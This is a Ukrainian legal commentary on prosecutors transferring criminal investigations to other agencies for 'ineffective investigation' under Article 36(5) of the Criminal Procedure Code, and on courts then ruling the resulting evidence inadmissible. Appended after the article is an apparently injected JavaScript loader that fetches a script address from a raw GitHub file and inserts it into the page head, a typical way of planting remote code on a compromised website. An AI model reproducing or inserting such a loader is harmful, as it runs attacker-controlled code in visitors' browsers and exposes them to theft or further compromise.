З першого погляду таке питання постає досить дивним, якщо не безглуздим… Які можуть бути наслідки від здійснення прокурором повноважень, передбачених для нього КПК України (особливо враховуючи те, що найнижчий рівень прокурора, який може так вчинити – заступник керівника обласної прокуратури)?
Звісно такі дії прокурора дають підстави сподіватись, що слідчі нововизначеного органу досудового розслідування будуть більш відповідальними і сумлінно виконають свої процесуальні обов’язки щодо повного, всебічного та об’єктивного розслідування справи, а це, зрештою, призведе до обґрунтованого прийняття прокурором одного з рішень та вчинення ним однієї з відповідних цьому рішенню, передбачених ч.2 ст.283 КПК України, дій.
Але, як не дивно, щоб так ставалося, прокурор, який доручає розслідування іншому органу, також повинен відповідально ставитись до своєї роботи, зокрема, до належного виконання приписів ст.110 КПК України, яка висуває до процесуальних рішень певні вимоги. В тому числі і ту, що постанова прокурора (як одна з форм його рішень, якою і здійснюється доручення розслідування іншому органу) повинна бути щонайменше мотивованою та обґрунтованою.
Але, як свідчить судова практика, прокурори навіть такого високого рівня, про який йшлося вище, так само неякісно здійснюють свої повноваження, передбачені ч.5 ст.36 КПК України, як слідчі, які попали в поле його зору – неефективно здійснюють розслідування.
Актуальність цієї проблеми підтверджується тим, що Верховний Суд вже кілька років поряд у тому чи іншому своєму складі приймає рішення про те, що при здійсненні повноважень, передбачених ч.5 ст.36 КПК України, та передачі справ від одного органу досудового розслідування до іншого саме через неефективне розслідування, здійснюване першим з ним, прокурор не може обмежитись лише визначенням розслідування, як неефективного. Напроти, в своїй постанові він повинен «пояснити», чому саме він так вважає, підкріпивши такі свої висновки відповідним обґрунтуванням.
Тим не менш, не так давно (28.10.2021 року) Верховний Суд знову змушений був висловитись у своїй постанові з цього приводу та зазначити, що обов’язковою передумовою передачі справи до іншого органу має бути здійснення неефективного розслідування та належне встановлення такої неефективності.
Повністю поділяємо таку позицію Суду, але вважаємо за необхідне додати, що оскільки ч.5 ст.36 КПК України фактично дозволяє прокурору майже будь-який злочин доручити розслідувати будь-якому органу слідства (тобто, діяти фактично без огляду на приписи ст.216 КПК України, яка регламентує правила визначення підслідності кримінальних правопорушень), то від прокурорів слід вимагати належного обґрунтування їх постанов також і в цьому аспекті.
Так які ж наслідки може мати доручення прокурором розслідування справи з підстав неефективності слідства, яке до цього здійснювалось іншим органом?
Навряд чи у кого виникає нерозуміння наслідків в тих випадках, коли прокурор належним чином мотивував та обґрунтував своє відповідне рішення. Більш цікавими є наслідки, коли судами згодом постанови прокурорів визнаються необґрунтованими, а відповідна передача справи іншому органу – безпідставною.
В таких випадках, як свідчить судова практика, всі процесуальні результати діяльності нововизначених органів досудового розслідування визнаються судами недійсними, а здобуті ними докази – недопустимими. Судова перспектива таких справ постає очевидною.
Особливо актуально це для передачі кримінальних проваджень від слідчих органів Державної фіскальної служби. Оскільки Бюро економічної безпеки, яке повинно було їх замінити, так до теперішнього часу і не почало працювати, а справи не можуть лежати просто так, то всі справи ДФС первісно були «роздані» в Національну поліцію та Службу безпеки.
Враховуючи масовість такої передачі та рамки, в які були поставлені прокурори, ця роздача відбувалась саме в порядку доручення розслідування іншому органу з підстав неефективності. Чи варто казати, що при цьому прокурори не обтяжували себе мотивуванням та обґрунтуванням своїх постанов?
Враховуючи вищевикладене, наслідками цієї передачі може бути те, що ноновизначені органи або візьмуться за абсолютно марну працю, оскільки результати їх діяльності не будуть вважатися судами допустимими доказами, або не виправдають «сподівань» прокурорів і взагалі нічого не стануть робити до передачі справ в БЕБ, про початок повноцінної роботи якого наразі можна лише гадати.
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
